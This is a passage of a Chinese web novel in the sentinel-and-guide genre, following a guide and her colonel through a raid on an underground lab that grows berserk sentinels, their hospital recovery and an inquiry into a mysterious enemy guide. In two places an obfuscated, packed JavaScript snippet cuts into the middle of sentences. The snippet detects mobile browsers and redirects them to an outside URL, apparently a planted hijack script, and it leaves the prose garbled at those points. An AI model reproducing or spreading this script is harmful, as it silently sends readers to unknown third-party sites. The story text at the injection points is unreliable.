因为精神力的紧密连接,顾小绒可以通过韩奕的眼睛看到前面的路况,她的知更鸟也通过通风管道间隔的小口飞了出去,他们得以窥见地下堡垒的一角。 这里是十分传统且重型的机械防御,每一道墙几乎都做了特殊处理,让精神体无法渗透进去,顾小绒被重墙堵住,无法像往日那样轻易看到建筑体的结构与人员布置。他们本来打算逐层寻找,可是越往下越不对劲,这里太深、太庞大了,几乎不像是一个只容纳百余人的战俘营的规模。 两人的思维此时高度共鸣,这段探查的时间又过去了10分钟。 韩奕的身子在下一个管道的出口处停了下来,顾小绒随着他的目光看去,在哨兵敏锐的视觉下,合成金属密封的机械走廊上连灰尘都纤毫毕现。这一层的走廊与门、尤其是锁上的灰尘较少,显示经常有人出入。 哨兵抛出了一个微小的物件落到了外面的走廊里——那是个微型的信号干扰源,此时一整个走廊的监控与热感应器都被阻断了。 果不其然,在不过短短的1分钟后,一个敌方士兵的身影就出现在了走廊尽头。 哨兵缓缓从腰后抽出短刀,眸中寒光乍现。 向导屏住了呼吸,不过是眼睛一开一合的瞬间,一抹黑色的残影便悄无声息掠过,了结了对方的性命。顾小绒赶紧从通风管道中钻出来,在韩奕扒开对方眼睛、扫开门扉后,她眼疾手快地捡起地上的干扰器,随着眼前重门的缓缓打开,将干扰器扔进了门缝中。 完成这一切的时间只有短短数秒,二人配合默契、动作行云流水。 顾小绒的身体在进入这扇门之后泛起一阵寒意,眼前是一个巨大的圆形空间,大约有数十米之高,他们的眼前密密麻麻地布满了巨型培养皿。这些由各式管道连接的、巨大的玻璃圆球,就像是孵化中的卵一般镶嵌在其中,他们仿佛闯入了某种怪物的巢穴。 韩奕将刚才处理掉的士兵随手扔到一个培养皿后,这里的灯光没有打开,只有仪器与供电的微光将每一个培养皿照亮,而每一个透明玻璃后都赫然躺着一个赤身裸体的哨兵。他们的头发、眉毛与体表其他毛发都被剃掉,如同婴儿一般插着管,沉睡在培养皿透明的液体里。 难怪在通风管道时,他们就感觉这里的规模实在是过于庞大,原来这里明面上是战俘营,实际上是一个隐秘的地下狂化哨兵制造基地。 顾小绒看了眼最近的培养皿,她记得最深刻的是被俘哨兵的头发是金色的……而因为这些培养皿中的哨兵都在闭眼沉睡,也无法分辨他们的瞳色……向导急得冒出冷汗,她快速调整自己的护目镜,打开面容辅助识别。这里的光线太暗,哨兵数量也太多,纯粹的机械辅助查找估计会耗费几分钟时间。 可他们大概是没有这么多时间了,距离干扰器运作已经过去了好几分钟,敌方马上就会意识到不对。 向导将所有精神力集中起来想要探寻,可是每一个沉睡哨兵的精神与信息素都封闭了,她什么都无法搜寻到。无奈之下,她与韩奕只能分头行动,两人朝着两个方向用仪器面容识别辅助排查,他们大约需要五分钟时间。 顾小绒的注意力全都在面部,在她刚刚转过身时,黑暗处的某个培养皿中,一截浸泡在液体中漂浮的手指微微动了动。韩奕的眼神更为敏锐,他注意到仪器上的数值在微妙地波动着,时间比他们想象的更少、情况也更加危险,可是他们必须找出他们的战友。 一声尖锐的红光伴随着鸣笛忽然响彻周遭,来自敌方士兵尸体上佩戴的装置。整个钢铁穹隆铸造的密闭空间忽然灯光大亮,门扉咔哒一声锁死。 完蛋,顾小绒心下一沉。 “关闭培养皿电源,继续排查。”韩奕通过精神丝线告诉向导,他已飞身而去,手中黑色长刀电光火石地横扫而过,霎时便切断了一排培养皿的电源线与供应管道。顾小绒不敢耽误,她也抽出了自己身后的刀,一边排查一边切割。 可是培养皿中的狂化哨兵似乎并没有因为线路被斩而停下来,只是被拖延了十数秒,很快玻璃炸裂的巨响便从四下各处将他们包围,第一个苏醒的狂化哨兵如同鱼雷一般朝外射了出来。 顾小绒立即用精神力去捕捉对方,却被一阵巨大的精神力干扰击飞,她顿感一阵晕眩,几乎想要呕吐。现在他们面对一个绝望的情况——敌方哨兵数量巨大、且无法确定被俘战友是否在其中。 无法再思考这么多,还是保命要紧——向导抬手就朝着还在抽搐挣动、即将醒来的狂化哨兵射击,随后她便绝望地发现,那层玻璃外壳竟然是防弹的。 另一侧,韩奕已经同醒来的狂化士兵战至一处。第一个哨兵咆哮着朝着韩奕扑去,后者侧身拔刀,一道白亮的弧度骤然闪过,那个狂化哨兵跌落而下,他的一条腿已被斩断,大量地喷涌出鲜血。而后,第二、第三个哨兵朝着韩奕袭来,即使是S级哨兵,面临这样庞大数量的敌人也会被消耗殆尽。 顾小绒一边朝着狂化哨兵开枪,一边在极度恐慌里强迫自己冷静下来、寻找对策。 很快,她的精神力便猛地一颤——有什么东西、带有生命的东西延伸了进来,她捕捉到了它的跳动。 是向导?顾小绒一震,她刚刚的开枪射击已经引来了一部分狂化士兵,他们几乎是迅雷不及掩耳地朝着她飞扑而来。顾小绒一个侧身翻滚躲到培养皿后,她听到对方的匕首狠狠劈砍在她刚刚停留的地方,发出可怖的撞击声。 在第二道袭击到来之前,一道更为迅捷的疾风破空而来——韩奕的长刀一把将对方的匕首挑飞,刀光飞驰、光影错落间飞血四溅,又有三个狂化哨兵被削断了手脚。 因为还没有找到被俘哨兵在哪里,韩奕没有下死手,只剥夺了他们的行动能力。 那股带着韵律的脉动越来越强,顾小绒凝神追踪,而后一阵突如其来的爆破猛地侵袭而来,无际而磅礴的毁灭冲击着她的精神屏障,从未有过的巨量攻击让她差点没能稳住。韩奕的身形明显停滞了一下,狂化哨兵霎时扑了上来、血光闪过,韩奕的腰侧被对方划开一道口子。 是向导! 顾小绒消化着这个突如其来的事实,危急时刻他们的护目镜终于发出了一道绿色的提示光:在五分钟的漫长识别后,他们终于从在场无数的狂化哨兵里识别出了那位被俘的我方哨兵,他竟然真的在这里! 韩奕几乎是在得到信息的那一瞬间就挣脱出包围、朝着目标飞驰而去,可是两个狂化哨兵朝着他扑来,将他硬生生阻断。顾小绒感觉到对方向导的精神力猛烈地一颤,而后那些狂化哨兵便像是拥有了智慧一般,他们忽然陷入了一片绝然的寂静,肌肉紧绷、姿态冷静呈蓄力状态。 而后,三个狂化哨兵忽然倾身而来,同时朝向韩奕攻击。他们的状态已然大变、行动迅捷,三面围攻的招式各自瞄准了韩奕的头、心脏与腹部。顾小绒抬手瞄准,一发子弹打掉了那个朝着韩奕头部袭击而来的残影,她很幸运地击中了,黑豹反应迅速,扫踢连接横踹,狠狠将左右两个剩下的狂化哨兵踢飞,骨骼断裂的声响触目惊心。 顾小绒正准备换弹夹,可她的大脑却突入其来的一阵剧痛,对方向导的精神进攻猛烈异常,她只能拼死抵抗。而后她惊慌地发现,她竟然怎么都无法捕捉到对方的影子,对方的精神力仿佛不是来自一个地方、而是来自四面八方,它的进攻如同飞刀一般锋利轻灵、诡谲莫辨,令她无法捕捉。 韩奕没能往前行进太多就又陷入了包围的泥沼,他的速度明显地放慢,力量已经快被耗尽。 顾小绒拼尽全力按动扳机,她的精神力还在与对方缠斗血战,她能感觉到这绝不是来自于我方被俘的那位向导,无论是精神体形态还是向导素。她闻到了一股极淡的薰衣草的味道,原本温和的花香此刻却沾染了锋利的杀意,这与我方向导白茶的向导素味无法对应。 韩奕被两个狂化哨兵制住,顾小绒挣脱开对方向导的精神压制,朝前方开枪,其中一个狂化哨兵被击中、而另一个仍旧控制着几近脱力的黑豹。躲闪不及,韩奕被第三个近身的哨兵捅伤了腹部。 冷静,顾小绒感觉自己的眼眸几乎快要泛出血来。 冷静,她快速更换子弹,手与精神力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055857|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同步与对面血拼。 在不断的互相攻击与博弈中,世界忽然一整个暗了下去,一切声息都仿佛停止,顾小绒闭上了眼睛——她感知到了,是蝴蝶。 顾小绒凝神看着眼前无数铺展开来的蝴蝶,它们如同纷飞的光刃将她包围,丝线如同一个巨大的网朝着四下蔓延,这股巨大的精神力牵拉着每一个狂化哨兵,所有发着光的丝线最终汇聚到一点—— 找到你了。 顾小绒的面容浮现出一丝冷然的笑意,她的精神力瞬间凝聚成一把寒光闪烁的长剑,朝着那个地方刺去。敌方感知到危险,蝴蝶们骤然而起,如同风暴一般朝着她侵袭而来,刀片如同暴雨一般凌虐过每一寸皮肤,痛到无法言语。可顾小绒不为所动,她高举利剑、目光所及之处唯有对方精神力的中心。 见势不妙,蝴蝶腾飞而起,风起云涌间全部回归到中心之处守卫。顾小绒凝神屏息,她奋力冲刺,几乎是赌上生命般一跃而起、朝着那里狠狠劈砍而下。 一声尖利的鸣叫划过她的耳膜,那是对方精神屏障裂开的剧痛。 那一瞬间,所有的狂化哨兵也因为剧痛,身体骤然停滞。韩奕从血泊中起身,他已经将我方哨兵抓住,右手朝着上空发射,电磁炮巨大的蓝光瞬时穿刺过一层层钢铁封塑的穹顶,将密闭的地下堡垒与地面直接打穿。 滚烫的气浪与爆破的震动从顶部传来,气流随着裂口涌入,一时狂风大作、爆炸带来的火焰霎时充满了整个空间、将他们包围。 攀爬爪前后朝上射击,韩奕扛起已然陷入昏迷的哨兵,与顾小绒一前一后朝上飞去。 在他们刚刚脱离巢穴的那一瞬间,狂化哨兵已经争先恐后朝着他们飞驰而出的洞口爬出,韩奕冷冷地瞄准了那里,再一次启动了激光炮。 剧烈的爆炸与轰鸣在他们身下膨胀开来,灼热的气流如同火焰一般舔舐过他们的身体,顾小绒感到一阵撕心裂肺的痛,她确信自己的作战服一定损坏了。 他们在震动、垮塌与不断坠落的石子中上行,在她被气浪灼伤、痛到快要失去身体掌控的时候,韩奕一脚踢开了一个巨大的碎石,石头混杂着钢筋,锋利的边缘擦着顾小绒的肩膀落下,那里被撕裂开一大片血肉。 这短短的十数秒仿佛是几生几世,不知过了多久,他们的上方天光大亮。 顾小绒浑身脱力,腿部一阵烧伤的剧痛,双眼一片血雾,她感觉到一只有力的手揽住她的腰、将她拉了上去。直到身子已经被放在地面,顾小绒才渐渐恢复视觉,韩奕揽着她的手臂伤痕累累、千疮百孔,血从破损的黑色战服里不断地渗出。 上校是真的透支了,他剧烈地喘息着,一手撑着地面,单膝跪着,破损的躯体淋淋漓漓地落着血,很快便汇聚成一条血河。顾小绒拼命挣扎起身,她撕掉手臂上本已残破的作战服,牢牢按压在韩奕腹部最深的伤口上。 从地面的硝烟来看,我方支援已经赶到,看来曼琳她们已经完成了任务。 哨兵的血瞬时染红了战服的残片,从顾小绒的指缝间喷涌而出,向导颤抖着,她的右手按住伤口,左手举起朝着天空发射信号弹。一直隐忍的眼泪终于还是落了下来,它们越聚越多,根本无法止息。 “发现我方哨兵与向导!请求支援!!”她能听到远处有人声嘶力竭地喊着,随后更多的脚步声朝着这边快速跑来。可是她什么都看不清,胸口剧烈地起伏、几近窒息,泪水混合着血水将她吞没。 她感觉到一只手轻轻抚上了她的脸,虽然千疮百孔、遍布伤痕,可每一寸肌肤、每一分骨节都是熟悉的,是他的味道与温度。 顾小绒拼命睁着眼,却无法看清他的面容,体温在快速地脱离哨兵的身体,她紧紧握住他的手、用尽全力,好像这样就能将他留住。 世界像是瞬间失去了颜色,陷入一片寂静。纷乱的脚步朝他们奔来,顾小绒感觉到韩奕的手被拉走,她奋力挣扎着,不知是被谁牢牢抱住。她在泪盈满目的朦胧光影中看到韩奕被抬上担架,无数的身影交错着围绕在他们的周围,向导的视线变得更加遥远、最终归于黑暗。 19. 第十九章 朦胧的白色光团刺破眼际,蓝色眼眸静止、冰冷,如同了无生息的玻璃,许久之后才恢复了些许光感,瞳孔微微一颤,光影开始流淌,她这才像是活过来一般。“上校……”顾小绒呢喃着,她还有些无法准确感知到自己的身体,凭借仅有的一丝知觉挣扎着起身。 一只带着白色手套的手迅速把她按了下去:“你的哨兵在旁边,别动。”是来自医生的声音。顾小绒老实地停止了动作,其余感官开始渐次回归身体,她闻到一股淡淡消毒水的气味,手上冰冰凉凉,针管正埋在皮下输送着药剂。心电监测仪在头顶上发出微光,上面平静地显示着数值与曲线。 顾小绒艰难地侧过头去,晦暗森冷的房间里,韩奕确实躺在她身侧的病床上,他的身体被各种管子牵拉起来,脸上还带着呼吸机。她看不清他的情况,因为他们彼此之间格挡着一道玻璃墙,墙后是密不透风的铁网,她只能通过黑色金属的间隔看到他的一点点身体。 哨兵伸出被子的手上扎着针,看上去苍白瘦削,他的手腕上被一个分量不轻的黑色手铐铐住,拇指粗的钢索一直延伸到地上。他伤得这样重,竟然还带着镣铐,顾小绒心如刀绞。 “你的哨兵没事,已经脱离了危险。”医生继续说道,他似乎已经忙完了自己手上的工作,将笔收回来放到白大褂胸前的小口袋里:“他醒的比你还早,要多休息恢复体能。”说完后便走出了病房,并且帮他们关上了病房的灯。 顾小绒在之后的三天才知道了整个萨特斯堡垒攻破的全过程,从几位哨兵和向导的记录仪上,可以明确看见曼琳与正羽一开始都是按照原定计划行进的,不过曼琳在靠近控制室时遇到了两个狂化哨兵的伏击,同顾小绒他们经历的一样,这两个狂化哨兵与之前完全不同,他们高度智慧、反应迅速、身体敏捷,力量几乎已经到达超A级哨兵的水平。 更为棘手的是,他们几乎感觉不到痛觉,在被曼琳狠狠一刀切断肌肉之后,像是毫无知觉般的继续疯狂进攻。好在平日里训练都是按照最高强度拉满的,一人单扛两个A级是平常内容,S级偶尔杀出也不是没有,曼琳早就练出了坚毅的心态与近乎极限的反杀能力。 两个拥有高度智能、身手迅捷的狂化哨兵不是最可怕的,可怕的是他们也同样遇到了对方向导的精神力攻击。但毕竟精神力无法像战斗过程一样被记录和捕捉,需要经过向导们仔细的核对。在复盘之后他们发现,原来三方遇到的精神力攻击是一样的,全都属于那个精神体是蝴蝶的敌方向导,而他们所有人都没有看到那个向导在哪里。 正羽和程浩在外围也经历了艰险的抵抗,围攻他们的狂化哨兵足有三个之多,逼到程浩只能出手与狂化哨兵正面对战,以此分担自家哨兵的压力。 这时候平日抵抗训练的作用就体现了出来,程浩的抵抗训练成绩十分优异,他自己单独抗衡一位A级哨兵不在话下,兔狲做为猫科动物行动敏捷,虽然他还是看不见敌方向导的本体,但实战时仍旧可以将对方行踪不明的精神轨迹拦截阻断。 即使如此,曼琳和正羽还是受了不轻的伤。正羽腹部中弹,虽然被防弹衣拦截,巨大的冲击力还是打断了他的肋骨。而曼琳最危险的伤口在脑袋上,那里被敌方哨兵刺破,如果不是诺兰拼死相救,那一刀可能直接捅穿她的太阳穴。但即使如此,刀口仍旧十分深、十分危险,曼琳是三个哨兵里最后一个苏醒过来的,把诺兰吓坏了。 从之后战场的清理情况来看,韩奕与顾小绒两人在地底深处同时对战狂化哨兵106人,这个数据被传送回来的时候,所有人都陷入了沉默。 如果不是上校最终摧毁了那里,还不知道有多少狂化哨兵会从地下涌出来……这个事太让人后怕,谁能想到一个百余人的战俘营下面是这么个情况,但凡此次行动的队伍配置再低一点,都极有可能全军覆没、有去无回。 还好最后我方800多位被俘的士兵安然无恙,被俘哨兵也被带了回来,任务算是成功完成了。虽然……那位已经被深度浸染的哨兵,也不知道还能不能恢复到以前的模样。 “我天,诺兰。”曼琳大半个头都被白色绷带包着,她看上去已经恢复了一些力气:“你的意思是老师在地底下百人斩?” 这个百人斩还不是斩杀一百个普通士兵,而是一百个狂化哨兵。 诺兰十分确定地、重重地点了下头。战场整理的数据很快就传输了回来,虽然上校最后一记电磁炮把地底堡垒整个摧毁,但这个地下防御工事修建得坚固异常,还是留下了大部分框架供北方军研究调查,其中他们就发现了已经碳化的狂化哨兵骨骼,几乎每个人的腿骨或者肋骨,都有被刀切断、或者踢碎。 “……”曼琳陷入了长久的沉默,许久后憋出一句:“还好下去的不是我俩。” “可不……”诺兰越想越后怕。 风水轮流转,这次轮到楚飞和周烨来看望他们了,这两人也是有意思,楚飞上午来了后,知道周烨也要来,中午就赶紧走了。又或者是周烨知道楚飞要来,也提前走了。后面时间久了,两人不知道哪里来的默契,楚飞就待在自己师姐这里,偶尔看看老师,周烨就一直待在程浩房间了。 气氛一时达成了某种诡异的平衡。 他们俩也不知道是心意相通还是怎么回事,都十分上道地给曼琳带来了炸鸡,女哨兵快乐极了,再加上气泡水,她的恢复速度肉眼可见的快。只有顾小绒坚持带着牛腩粥和鲜虾粥前来探望,还有就是各类煲汤,不过曼琳同她的老师一样,但凡是好吃的总是来者不拒。 顾小绒轻车熟路地照顾着她的哨兵,韩奕这一次并没有致命伤,只是刀伤密集、失血过多,最狠的那一记贯穿也幸运地没有捅破脏器。只要骨骼与脏器没事,皮外伤的恢复是很快的。 短短几天,哨兵苍白的面容就重新恢复了血色,当然这期间也少不了顾小绒安排的各类餐食,她开始留心上校喜欢吃什么,后面发现他是真的很喜欢吃煮烂的土豆泥肉沫、牛肉、以及各种……奶昔? 上校竟然喜欢吃甜食,真是令人意外。 顾小绒是在偶然的一瞥间看到的,那是个少有的晴天午后,上校刚刚处理完一批文书,病床上搭的桌子大小有限,需要顾小绒时常帮忙整理。她感觉到他有些疲累,在清空桌子的间隙忽然福至心灵,把上午才买的草莓奶昔端了上来。 上校只是顿了顿,随后就拿起了勺子,他吃得安安静静,深黑的眼眸微微眯了起来,英挺的轮廓在日光下逐渐温软、恍如透明,他的睫羽微微低垂着,看上去平和而餍足,像只安静的大猫咪。 最开始,顾小绒还有点担心,对甜食尽量控制。但后面她很快就发现,以哨兵的代谢能力,这点子糖分根本不会造成一星半点的影响,只会让他好的更快。 哨兵的身上伤口密布,擦洗身体的时候需要十分注意,最开始的时候,一整个擦洗完需要很长的时间,差不多每五分钟就要换洗一盆血水。她怕他冷着,都是擦一小块地方马上用被子盖起来。哨兵的伤口愈合速度惊人,没过几天擦洗的速度就变快了,擦下的血水也越来越少。 有一次她明明擦的很轻,哨兵的身子却还是明显地颤动了一下,她吓得连忙撤了手,又琢磨着这里也没有伤口啊。悄悄打量了哨兵的面容,似乎也没有受痛的样子,难道是…… 上校白皙的皮肤泛起一点点粉。 脑海里忽然惊雷闪现,她不知怎的回想那时候,上校满是伤痕与血污的手轻轻抚在她的脸颊上,某种隐秘的东西在心底肆虐,像是火焰一样燃烧,又像是刀割一般痛楚。她触电般地缩回了手,只觉心脏剧烈地跳动着,仿佛要撞破胸膛。 窗外大雪飘飞,将严冬的冷寂浇在滚烫的心脏上。顾小绒沉默地望着窗外,做为一个快要20岁的士兵,她早已不是怀有幻想的小女孩,她清楚自己历经生死所迸发的感情,五分钟后,她给这一切下了判断。 韩奕是她的长官,如果她真的尊敬他,就应该恪守职责,做一个合格的向导、战士,而不是怀揣私情、以下犯上。 她最近已经被太多情绪裹挟,欢欣与痛楚在灵魂深处剧烈交织,可一定要说的话,还是痛楚更多一点的。 她变得更加沉默寡言。 上校对自己向导的状态变化十分敏感,即使是重伤未愈又公务缠身,他也仍旧在意。有时候他会望向她,可对方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055858|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似乎已很久没有再看过他的眼睛。 楚飞是在午后过来看望他老师的,这位感情系数趋近于负的愣头青,一时半会儿讲不出氛围哪里不对,总的来说只觉如坐针毡。大概十分钟后,还是有些难以忍受,年轻哨兵决定起身去师姐那边避一避,而后又想起诺兰当着他的面给曼琳喂饭的样子…… 小伙子陷入了深刻的沉思,也许当时的他不能精准描述这种感觉,但实际上……这就是做电灯泡的滋味。 之后过来的是沈骁,因为过于繁忙,他直到现在才来得及前来探望,顺便通知顾小绒,后天下午需要开一个会议,主要是论述一下这次敌方向导的事。长官的神情十分凝重,顾小绒大概明白了,看来后续的战场搜寻也没有什么结果。 这次的会议只有五位向导参加,除了沈骁和他们在场的三个之外,还有周烨。这些年来沈骁一直十分器重周烨,有时候下发给向导的通知也都是周烨经手,几乎是把他当做了继承人一般培养。 顾小绒、诺兰与程浩分别详述了战场上的情况。 “不是,我真的搞不明白那是个什么东西。”程浩忍着没有爆粗口,他的左臂骨折了,还吊在胸前:“太难抓了,我几乎都看不到它的精神轨迹。” 诺兰露出一个惨淡的苦笑,他是拄着拐杖来的,熊猫没有足够的速度与敏捷性对抗纷飞的刀刃,只能用自己的身躯严防死守硬扛。 “而且这根本说不通,全场加起来100多个狂化哨兵,全是那一个向导对接,这怎么可能?”程浩又绕回了那个问题,遗憾的是,经过之前的反复论证,虽然他们对敌方的感知程度不同,但还是能确定那就是同一个向导。 “而且,它是怎么做到既控制地底300米,又控制到地面的?你们下去过,地底毫无信号、精神力会被完全隔绝是吧?”程浩问顾小绒,后者点点头,给出肯定答复。 “难不成是出现了S级向导?”现在只能靠猜,毕竟他们这一代已经没有人再见到过S级了。 沈骁轻轻摇了摇头,做为曾经被那位退役的S级向导前辈指点过的人,他清楚感觉到这完全不是同一种类型。而且即使是S级向导,也不可能不亲临战场,他们自始至终都没有找到那位向导在哪里,连遗骸都没有。上百个狂化哨兵的遗骸与骨骼全部拼接检验完成,没有再多出一个人来。 “而且它的精神力具有很高的侵袭性,还不只是攻击性。”程浩没好气地说:“总之真的就很邪,说不出来的感觉。” “它的精神体是蝴蝶,向导素是薰衣草味。”顾小绒补充道,做为在场所有人里唯一捕捉到对方一点真身的人,她其实早在刚醒过来的时候就把这个重要情报告诉了沈骁:“但是又不像正常的蝴蝶与薰衣草……感觉十分诡异。” 沈骁的眉头微微蹙起,他的眼神扫视在桌面的一沓资料上,若有所思。 “老师,我们要不要排查一下公会的向导?”周烨忽然开口问道,这是顾小绒第一次听见他在私下称呼沈骁为老师。虽然整个帝国算上地方公会一起,精神体是蝴蝶的向导有好几个,但如果再加上薰衣草味向导素,应该可以确定到具体的人,毕竟向导从觉醒时候开始,向导素就是公开记录在公会的。 沈骁面色凝重,他望着公会失踪的三个向导的照片,在大家屏息等待的眼神里缓缓叹了口气:“我知道这个向导……” 他快速点开电子屏,输入了一个名字,显示出一位向导的资料。那是个漂亮白皙的女孩,有着一头深邃的紫色波浪长发与紫色眼睛,遗憾的是她的名字已经置灰,生卒年月显示她已经死在了五年前。 艾丽希娅;女;15620号上尉;身高:162cm;生卒年月:3178-3202;精神体:蝴蝶;向导素:薰衣草。 她的身后还显示出曾经配对的哨兵的资料,遗憾的是那位哨兵也在3201年牺牲了,会议室霎时陷入一片寂静。 沈骁知道在场的众人都满腔疑惑,他索性和盘托出:“虽然情报很少,一直不能确定,但……”他顿了片刻,似乎在整理适当的措辞:“同狂化哨兵实验一样,我们一直在猜测,南方是不是一直在进行向导秘密实验。” 20. 第二十章 空间仿佛凝滞,连空气中细微的浮尘也静止了。 “可是……这是不可能的啊。”诺兰脱口而出:“不是几年前就已经证实向导实验是……”“只能停留在理论上。”程浩补充完他的话,他进入中央公会那会儿刚好是这个传言最疯狂的时候。 “而且……就算是,艾丽希娅也已经牺牲了……”诺兰的神情定格了,他仿佛想到了什么可怕的事,瞳孔骤缩:“她到底是牺牲,还是失踪了?” “确认牺牲。”沈骁调出了那位向导的全部档,资料显示在3201年她的哨兵牺牲后,她因为无法承受精神连接断裂的痛苦、也无法再匹配其他哨兵,在短短半年之后就虚弱而死。按照遗愿,她的遗体与她的哨兵一起合葬在烈士陵园里,所有的数据与流程都很详尽,全在公会记录之中。 顾小绒忽然腾升起一股念头,她想要去烈士陵园看一看,虽然说不上什么理由。毕竟将死去的骨血点石成金,变成异状黑暗向导这样的事,实在是太天马行空、违背常理了。又或者说,难道他们的思维一开始就错了,南方掌握的向导确实极其稀少,但也不是完全没有,有没有可能确实是巧合?世界上偶尔也会有向导素与精神体都类似的两位向导? 可以挖掘的信息太少,他们无法再做出进一步的判断。 沈骁默然点开电子屏,蓝色的光铺展开来,在他们眼前形成了一张巨大的图,这是一个人物派系网。南方军的构成主要是军政府和雇佣兵两个部分,军政府负责提供火力、与北方军正面对抗;雇佣兵主管涉黑产业,经营催化剂与其他黑产利益链条,获取的利润再与军政府分成,相当于是军政府的黑手套。毕竟考虑到可能的政权合法性,他们也不好自己亲自下场做这些黑活。 久而久之,雇佣兵与军政府就形成了合作关系,一方提供资金一方提供火力支持,双方拴在一条绳上,如果被严厉禁制催化剂贩卖的北方军夺得胜利,他们谁都没得活。雇佣兵因为掌管了黑市的非法哨兵与向导贩卖,有时候也会向军政府出售一些“好货”…… 顾小绒的心里升出一丝担忧,她又重新看了看桌上三位失踪向导的资料。 气氛一时十分沉重,没有人知道雇佣兵控制的黑市具体是什么情况,但光是想象一下也足够绝望。 “失踪的三位向导,连同牺牲的这位,都是女性……”顾小绒敏锐地发现了这一点,女性向导人数稀少,而且这几位细看下来全是治疗型向导,这绝不是巧合。 无论南方军在搞什么,所谓的向导实验是不是真的,他们现在面临着两个无法撼动的事实:第一、他们确实在不断地试图夺取向导,甚至不惜在前线掠走北方军士兵;第二、他们确实在战场上遇到了无法解释的、超越常理的向导力量。 沈骁指了指关系图谱上的一个人,那是个面容阴鸷的中年人:“德拉文,南方军生化计划的主导人,他是个疯子,十年前就是从他开始实施狂化哨兵计划,我们屡次安排对他的暗杀都失败了,这两年更是杳无音讯,最近南方军越来越疯狂,又是新型催化剂、又是针对向导……他脱不了干系。” “此人自己也是一个向导,他早年曾经流落黑市,存在一定程度的精神力残缺,在生化实验这一块十分激进、疯狂,但南方军十分倚重他,给了他最高规格的保护。” “老师,我们要去追捕他吗?”周烨抬眼问道。 沈骁摇了摇头:“这方面的情报刺探已经持续了很多年,对方严防死守,探查全无踪迹。”他转而点开了另一份资料,巨大的地图转移到视觉中心,关系图谱被挪到一边:“还有一个要紧的任务交给你。” “维赛克城拿下之后,往东南突进的过程很艰难,南方军的主力基本都在海边,那里有好几个不冻港,主要军事设施与海军都在,有他们的军火驰援,每一座城池的争夺损耗都很巨大。” 他抬起手,圈了其中一个沿海的军事基地:“这是距离最近的阿维隆军港,必须将其拔除,不过这里深入敌方腹地,任务危险系数大……” “公会决定派遣最高规格的队伍过去,我属意你和楚飞。”沈骁看着自己最为欣赏、倚重的学生,目光杂糅着沉重:“公会还会派遣八组A级哨兵和向导与你们一同前去,这次全选了攻击型向导,你负责带队。” “是。”周烨毫无犹豫地接下了任务。 “至于那个疯子……”沈骁连名字都不愿称呼,他看着那个蓝光倒映出的照片,眼里全是冷漠与厌恶:“公会这边会继续安排人追查,因为没有确切的信息,这次的会议内容暂时不要告知别人,出新任务的……就告知他们可能有较为危险的敌方向导就是了。” “是。”其余众人也回答道。 第二天清晨,顾小绒在陪韩奕吃完早饭后就决定出门,当然她也请示了上校,虽然现在没有禁制环了,但长时间的佩戴与规训让顾小绒已经习惯了待在上校的身边,即使是片刻的离开也不太适应。 她还是决定去烈士陵园看看,那里距离中央公会有几百公里的距离,但也是他们被允许去的地方。灰色的天空看上去十分沉郁,好像不知什么时候就会下起雪来。 才刚刚走出医院,一辆深灰色的车就停在了她的身边,车门打开,周烨给了她一个“上来”的眼神。这应该是周烨自己私人的车,毕竟仅是中央公会的占地面积就太大,掐着时刻表等摆渡车太不方便,服役多年的士兵基本都会自己购买一辆车。 昨天的会议过后,顾小绒与周烨都想去烈士陵园看看,诺兰和程浩伤得重,需要休息养伤,于是他们两个决定先去。 周烨的车后排放着一束花,是几朵白色鸢尾。车内有淡淡的皮革味,收拾得干净利落,没有一丝灰尘。鸢尾散发着柔婉的花香,与一股微醺的红酒味混合在一处,馥郁芬芳、十分好闻。 周烨看上去不是会喝酒放纵的人,更何况今天还要开车,顾小绒后知后觉才反应过来,原来这是周烨向导素的味道。 车在离开公会时都会自动登记,同样车身也装有定位,大概两个小时的路程后他们才到了陵园。昨夜才落了一场大雪,眼前的陵园漫无边际、银装素裹,一座座白色的坟墓整齐安放着,他们走得很轻,不想多余的声音打扰了对方的安眠。 查询艾丽希娅的名字后,系统速搜寻到了她所在的区域,那几乎已经到了与天交接的另一片山丘上,周烨与顾小绒就这样一前一后默然走着,他们经过的墓前,一张张年轻哨兵与向导的面容都含着笑意,看上去是那样鲜活动人,他们牺牲的年纪也基本集中在20多岁。 艾丽希娅的墓看上去已经很久没有人来探望过,因为刚好在墓园的边缘,旁边又有一棵巨大的松树,这种适应极寒温度的树长得茂密葱茏,巨树的叶片与树身一直被掩藏在厚厚的白雪之下,艾丽希娅的墓前落满了枯萎的枝叶与积雪,几乎是需要伸手去扒开才能隐约看到石碑上的名字。 周烨和顾小绒先清理了一下她的墓,石墓看上去绝对没有被翻动过的迹象,冻土几乎与白色的石碑融于一体,在花费几十分钟清理走落叶与积雪后,一座漂亮的、通体雪白的墓碑出现在他们面前,墓碑上还放着一张很大的、镶着油画框的照片。 照片中女孩穿着纯白的花嫁,捧着一束香槟色的玫瑰,幸福地倚靠在她的哨兵身边。高挑俊秀的哨兵也穿着纯白的礼服,正低头望着他心爱的女孩,他的眼神满盈爱意、温柔至极。 些许飞雪从头顶静静洒落,顾小绒无声地望着那张照片,似乎明白了为什么哨兵牺牲半年后,他的向导也随他而去。 